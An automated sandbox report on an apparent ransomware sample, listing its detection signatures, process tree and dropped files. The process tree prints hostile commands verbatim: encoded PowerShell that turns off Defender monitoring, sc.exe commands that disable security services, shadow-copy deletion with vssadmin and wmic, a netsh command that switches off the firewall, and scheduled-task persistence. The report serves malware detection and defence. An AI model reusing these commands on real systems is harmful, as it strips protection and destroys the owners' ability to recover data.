Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    24/04/2026, 18:21

General

  • Target
    2026-04-24_2ef3b48a84199a0d48623069aff5cac4_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 51KB
  • Sample260424-wzt7msg19l
  • SHA256 3ed9e674e35d5ea40436e7d4d29cdbf869563b4ff6384a02d77f864fc5120225
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Detects command variations typically used by ransomware 2 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-24_2ef3b48a84199a0d48623069aff5cac4_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-24_2ef3b48a84199a0d48623069aff5cac4_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3704
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5348
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4316
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3092
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:5972
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:4660
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:5908
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:5892
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:5796
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:6096
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1716
      • C:\Users\Admin\AppData\Local\Temp\2026-04-24_2ef3b48a84199a0d48623069aff5cac4_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-04-24_2ef3b48a84199a0d48623069aff5cac4_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:6108
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:4204
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-04-24_2ef3b48a84199a0d48623069aff5cac4_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2828
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5616
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:3964
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4724
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5960
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:5560
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5692
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:6000
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5904
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4868
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5856
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5208
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:3536
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1424
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:4480
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5716
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:3080
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-04-24_2ef3b48a84199a0d48623069aff5cac4_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5700
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
              PID:2104
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:3880
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:2968
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:4592
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2640
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:1480
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:3232
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:1492
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:220
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa39c2055 /state1:0x41c64e6d
                1⤵
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:4700
              • C:\Users\Admin\AppData\Local\Temp\2026-04-24_2ef3b48a84199a0d48623069aff5cac4_destroyer_elex_glassworm_ngrbot_wannacry.exe
                C:\Users\Admin\AppData\Local\Temp\2026-04-24_2ef3b48a84199a0d48623069aff5cac4_destroyer_elex_glassworm_ngrbot_wannacry.exe
                1⤵
                  PID:5772
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3748

                Network

                      MITRE ATT&CK Enterprise v16

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                      Downloads

                      invoice_1.pdf

                      • Path C:\ProgramData\invoice_1.pdf
                      • Size 69KB
                      • SHA256 4bddb5e0ab2cdcf8cbfc67c4e8db59a27534a092a52e3b208b010d3cf47b0e4c
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      doc_3.pdf

                      • Path C:\SystemVolumeInformation\doc_3.pdf
                      • Size 68KB
                      • SHA256 4d06134e1d175c0b014e7454a6c0090cae71c4e9ab4c481131c2bdee9b73179e
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      2026-04-24_2ef3b48a84199a0d48623069aff5cac4_destroyer_elex_glassworm_ngrbot_wannacry.exe.log

                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-04-24_2ef3b48a84199a0d48623069aff5cac4_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                      • Size 660B
                      • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                      • MD5 SHA1 SHA512 TLSH

                      __PSScriptPolicyTest_closlbcs.r1q.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_closlbcs.r1q.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH

                      createshortcut.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                      • Size 309B
                      • SHA256 542cea235ea56853adeac9b3074e8356c64e2ada8bd5ab45697131b4da053043
                      • MD5 SHA1 SHA512 TLSH

                      del.bat

                      • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                      • Size 59B
                      • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                      • MD5 SHA1 SHA512 TLSH

                      makelnk.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                      • Size 310B
                      • SHA256 49d9691fefd36ddf53725b48597fc5303267880db82cd9b978f4d75d69631d9c
                      • MD5 SHA1 SHA512 TLSH

                      sysupdate.exe

                      • Path C:\Windows\System32\sysupdate.exe
                      • Size 51KB
                      • SHA256 3ed9e674e35d5ea40436e7d4d29cdbf869563b4ff6384a02d77f864fc5120225
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      memory/1716-14-0x0000026493750000-0x00000264937AD000-memory.dmp

                      memory/2104-2257-0x000001F70D650000-0x000001F70D6AD000-memory.dmp

                      memory/2104-2256-0x000001F70D2C0000-0x000001F70D2CC000-memory.dmp

                      memory/3704-2285-0x0000000001D70000-0x0000000001D82000-memory.dmp

                      memory/3704-2277-0x0000000001340000-0x0000000001350000-memory.dmp

                      memory/3704-2275-0x000000001DA10000-0x000000001DA7F000-memory.dmp

                      memory/3704-2274-0x0000000001320000-0x000000000132C000-memory.dmp

                      memory/3704-0-0x0000000000AD0000-0x0000000000AE4000-memory.dmp

                      memory/3704-2284-0x000000001DA10000-0x000000001DA7F000-memory.dmp

                      memory/3704-2288-0x000000001DA10000-0x000000001DA7F000-memory.dmp

                      memory/3704-2309-0x000000001DA10000-0x000000001DA7F000-memory.dmp

                      memory/3704-2333-0x000000001DA10000-0x000000001DA7F000-memory.dmp

                      memory/3704-3-0x000000001E600000-0x000000001EB28000-memory.dmp

                      memory/3704-2-0x000000001DF00000-0x000000001E0C2000-memory.dmp

                      memory/3704-1-0x0000000001340000-0x0000000001350000-memory.dmp

                      memory/3880-2264-0x0000010C03C20000-0x0000010C03C21000-memory.dmp

                      memory/3880-2279-0x0000010C01FE0000-0x0000010C0203D000-memory.dmp

                      memory/4204-2245-0x0000029FB4260000-0x0000029FB426C000-memory.dmp

                      memory/4204-2246-0x0000029FB45F0000-0x0000029FB464D000-memory.dmp

                      memory/4700-2276-0x0000019071CD0000-0x0000019071D2D000-memory.dmp

                      memory/4868-2260-0x0000021CF23B0000-0x0000021CF240D000-memory.dmp

                      memory/5348-27-0x0000026F652E0000-0x0000026F652FA000-memory.dmp

                      memory/5348-34-0x0000026F4C910000-0x0000026F4C91C000-memory.dmp

                      memory/5348-29-0x0000026F652C0000-0x0000026F652C6000-memory.dmp

                      memory/5348-35-0x0000026F64C20000-0x0000026F64C32000-memory.dmp

                      memory/5348-28-0x0000026F65290000-0x0000026F65298000-memory.dmp

                      memory/5348-33-0x0000026F4C470000-0x0000026F4C4CD000-memory.dmp

                      memory/5348-26-0x0000026F65280000-0x0000026F6528A000-memory.dmp

                      memory/5348-30-0x0000026F652D0000-0x0000026F652DA000-memory.dmp

                      memory/5348-12-0x0000026F64C60000-0x0000026F64C82000-memory.dmp

                      memory/5348-25-0x0000026F652A0000-0x0000026F652BC000-memory.dmp

                      memory/5348-24-0x0000026F65120000-0x0000026F6512A000-memory.dmp

                      memory/5348-23-0x0000026F65060000-0x0000026F65113000-memory.dmp

                      memory/5348-22-0x0000026F65040000-0x0000026F6505C000-memory.dmp

                      memory/5560-2280-0x00000216816B0000-0x000002168170D000-memory.dmp